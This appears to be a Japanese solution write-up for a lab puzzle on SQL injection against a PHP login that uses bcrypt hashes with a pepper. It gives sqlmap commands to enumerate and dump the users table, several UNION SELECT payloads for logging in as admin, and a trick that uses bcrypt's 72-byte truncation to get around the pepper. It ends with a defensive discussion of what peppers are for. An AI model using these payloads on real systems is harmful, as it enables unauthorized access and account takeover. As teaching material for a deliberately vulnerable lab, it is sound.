この記事は、以下の問題の想定正解です。まだ問題を読んでいない方は、先に問題を読んでください。
ペッパー(pepper)というのは、ハッシュ計算前のパスワードに付与する秘密かつ固定のソルトのことです。ペッパーの機密性が保たれている限り、ハッシュ値からパスワードを復元することも、パスワードのハッシュ値(アプリ側で受付られるもの)を計算することもできません。
また、この問題の先行問題の知識も必要ですので以下の記事(および問題)も読んでおいたほうがよいでしょう。
さて、このペッパー付きの問題も多くの方に記事を読んで頂き、また解答もいくつかいただきましてありがとうございます。
出題時の以下条件を満たす想定解答を2種類(細かく分けると3種類)紹介します。
- できればブラックボックス(つまりソースコードやテーブル定義を見ない)で解く
- ペッパーは覗き見してはいけない
- sqlmap等のツールは使っても良い
sqlmapの使い方
レギュレーション上sqlmapは使用可で、わざわざコンテナが用意してあるという条件なので、sqlmapでできる範囲はやってしまいましょう。
sqlmapを使うために、まずターゲットサイトの会員登録機能でユーザーを追加します。以下の説明では下記のユーザーを用います。
項目名 | 値 |
---|---|
UserID | alice |
Password | alice |
alice@example.jp |
次に、sqlmapコンテナのbashを起動します。
C:> docker compose exec sqlmap /bin/bash
xxxxxxxxxxxx:/app/sqlmap#
ここでxxxxxxxxxxxxはコンテナIDです。この状態でテーブル一覧を調べてみましょう。シェルから以下のように入力します。
# python sqlmap.py -u http://php/login.php --data "userid=alice&password=alice" --tables --batch --threads 10
http://php/login.php は、コンテナ内部から見たターゲットサイトのURLです。--dataオプションでログイン時にPOSTする文字列を指定していて、ここでは、先程会員登録としたaliceのユーザIDとパスワードを指定しています。--batchは非対話モードを指定するもので、すべてのオプションにデフォルト値を使用します。--threadsは診断の際の同時スレッド数でここでは10を指定しています。
以下のような表示になれば成功です。
<current>
[2 tables]
+-----------------+
| sqlite_sequence |
| users |
+-----------------+
[05:35:23] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/php'
[*] ending @ 05:35:23 /2023-09-25/
2つのテーブル名が表示されていますが、sqlite_sequenceはSQLiteが自動生成したものなので、usersが攻撃対象のテーブルであることがわかります。
次に、テーブルの構造を表示してみましょう。今度は対象テーブルを -T users と指定し、--columnsオプションでカラム定義を調べます。
# python sqlmap.py -u http://php/login.php --data "userid=alice&password=alice" -T users --columns --batch --threads 10
以下の表示になります。
[05:51:43] [INFO] resumed: 134
[05:51:43] [INFO] resumed: CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, userid VARCHAR(64) UNIQUE, password VARCHAR(128), email VARCHAR(128) UNIQUE)
Database: <current>
Table: users
[4 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| email | VARCHAR |
| id | INTEGER |
| password | VARCHAR |
| userid | VARCHAR |
+----------+---------+
[05:51:43] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/php'
列名が一覧表の形で表示されていますが、これは列名の昇順でソートされています。なので、CREATE TABLEの定義(上図2行目)の方が使い勝手がよいでしょう。
ここまで分かれば攻撃は可能なのですが、ついでなのでデータのダンプも取得しましょう。以下のコマンド(--dumpオプション使用)で可能です。
# python sqlmap.py -u http://php/login.php --data "userid=alice&password=alice" -T users --dump --batch --threads 10
以下のように結果が表示されます。
Table: users
[2 entries]
+----+--------+------------------+--------------------------------------------------------------+
| id | userid | email | password |
+----+--------+------------------+--------------------------------------------------------------+
| 1 | admin | admin@example.jp | $2y$10$Q3R2zJVO/vwZQ4tL4wMg.efD5/TUaKBL2JAUnX1OPchHdYR2qDwxW |
| 2 | alice | alice@example.jp | $2y$10$Jc6x4mhtSvOi8OU4jV.PsuV20d5UcE.Hr8oruFXR37mm7EUDw43xy |
+----+--------+------------------+--------------------------------------------------------------+
見やすく表の形で表示されていますが、やはり列名の昇順になっていることに注意してください。SELECT * FROM users で取り出されるのは、id、userid、password、emailの順です。
解法1
解法1は、UNIONを使って、以下のような結果をアプリに食わせるものです。
- password以外の列: adminのデータ
- password列: aliceのハッシュ値
先のステップでデータのダンプを得ているので、リテラル(値)で書いてしまえば、以下の文字列をUserID欄に入力して、Password欄にaliceを入力することで攻撃が可能です。ただし、ペッパーがサイト毎に変わるので、下記をそのまま入力しても読者の環境ではログインできません。
' UNION SELECT 1, 'admin', '$2y$10$Jc6x4mhtSvOi8OU4jV.PsuV20d5UcE.Hr8oruFXR37mm7EUDw43xy', 'admin@example.jp' --
この攻撃が成立する理由は、上記のハッシュ値は正しいペッパーを適用したものであるからです。
先行する問題の解法を理解した方にはこの方法が易しいと思いますが、既に解答いただいた方にはこのパターンは見かけませんでした。あんまり美しくないということですかね。ということで、データのダンプを使わない解法も紹介します。
UNIONで与える行は概ねユーザadminのものですので、password列をいったん無視すると、以下のように指定できるはずです。
' UNION SELECT id, userid, password, email FROM users WHERE userid='admin' --
ここから、password列のみaliceのものを指定すればよいので、副問合せでaliceのpassword列を指定すると以下のようになります。
' UNION SELECT id, userid, (SELECT password FROM users WHERE userid='alice'), email FROM users WHERE userid='admin' --
これをUserID欄に、Password欄にalice(aliceのパスワード)を指定すると攻撃成功です。解答いただいた方の解法の多くがこのパターンでした(SQL文の細部は差異があります)。こちらの攻撃ですと、ペッパーの値に依存しないので、上記を読者の環境に用いてもログインできるはずです。
解法2
解法2はsqlmapなしで解けるもので、大部分は先の問題(ペッパーなし版)と共通です。解法の過程は先の解答編を見ていただきたいのですが、結論としてはパスワード「a」のハッシュ値をPHPのpassword_hash関数で求めて、それを以下のようにUNIONで食わせてやるものでした。
' UNION SELECT 1, 'admin', '$2y$10$xsIlqn/90gAxrlEPzxsaPe3nokPZQtw/.vlsydx6nWUommxA6juia', 4 --
これをUserID欄に入力して、パスワードとして「a」を指定すればログインできました。
一方、今回の問題では、ハッシュ値計算前にパスワードの後ろにペッパーが連結されているので、ペッパーが分からないと正しいハッシュ値が生成できません。
しかし、password_hash関数のマニュアルを読むと、以下の注意が書いてあります。
警告 PASSWORD_BCRYPT をアルゴリズムに指定すると、 password が最大 72 バイトまでに切り詰められます。
すなわち、ちょうど72文字のパスワードを指定した場合、その後ろに連結されたペッパーは無視されることを意味します。なので、パスワード「a」の代わりに、72文字のパスワードを指定すればよいことになります。
以下の例では、72文字のパスワードとして下図の$passwordの値(111...)を使います。
C:> docker compose exec php /bin/bash
root@423356b6ebb3:/var/www# php
<?php
$password = '111111111122222222223333333333444444444455555555556666666666777777777712';
echo password_hash($password, PASSWORD_BCRYPT), PHP_EOL;
# Ctrl-DでPHPを終了すると以下の結果が表示される
$2y$10$TWV5Xe96qnx1RiMfpkGraOeQ/j.M/yCveHPX7uV1GesTPlHALAT0y
この結果を使ってSQLインジェクション攻撃が可能です。以下の文字列をUserID欄に、先の72文字のパスワード(111...)をPassword欄に入力します。
' UNION SELECT 1, 'admin', '$2y$10$TWV5Xe96qnx1RiMfpkGraOeQ/j.M/yCveHPX7uV1GesTPlHALAT0y', 4 --
これでadminでログインできました。しかし実は、UNION SELECTの直後の 1 (id列; 内部ID)が重要で、これを 2 にするとaliceでログインしたことになります。2 とした場合、ログイン直後は「ログイン成功:admin」と表示されますが、その後マイページに遷移すると、「こんにちはaliceさん」と表示されます。なので、この部分の数値については試行錯誤するか、解法1で求めた方法を使う必要があると思います。
こんなに簡単に攻撃できるとペッパーは無意味なのか
ペッパー付きのハッシュ値でも、SQLインジェクション攻撃により認証回避が可能な場合があることを示しました。
ここまで簡単に攻撃できてしまうと、ペッパーにはあまり意味がないのではないかという疑問が生じるかもしれません。しかし、ここで、ペッパーの目的に立ち返る必要があります。
ソルトやペッパーは、あくまでパスワードハッシュ値が漏洩した際に、平文パスワードを保護することが目的です。今回示した解法では、amdinのパスワードはわからないままですし、長めのペッパーが付与されているので、総当たり的な方法でも平文パスワードの復元は困難です。
一方で、ペッパーに懐疑的な意見があるとすれば、それはペッパーの機密性を保てるのかという疑問です。今回の作問では、簡単化のためにペッパーは/var/www/pepper.txtに平文で置かれています。パスワードの保護が効果を発揮するのは、サーバーに侵入された後の話ですから、pepper.txtは簡単に見つけられてしまうでしょう。一般的には、サーバーに侵入した攻撃者は、ウェブアプリケーションと同じ権限を持っていますから、ペッパーがアプリケーションからは参照できて攻撃者には隠すというのは、難易度の高い実装です。
Devise方式のペッパー実装は脆弱ではないのか?
次に、元パスワードの末尾にペッパーを文字列連結する方式(Deviseがこの方法を採用しています)は脆弱ではないのかという疑問が生じます。パスワードを72文字にしただけで、ペッパーが無視されてしまうわけですから。
しかし、この疑問もペッパーの目的に立ち戻ると、脅威が大幅に増加するわけではないことがわかります。
ハッシュ値からパスワードを復元するには、総当たりか辞書攻撃かということになりますが、パスワードが72文字(前後、あるいはそれ以上)の文字列という時点で現実的ではありません。なので、72文字制限との組み合わせでペッパーが無効化されたとしても、パスワード復元が容易になるわけではありません。
同様に、bcryptの72文字切り詰め問題も私は特に問題とは考えていません。詳しくはこちらの記事を参照ください。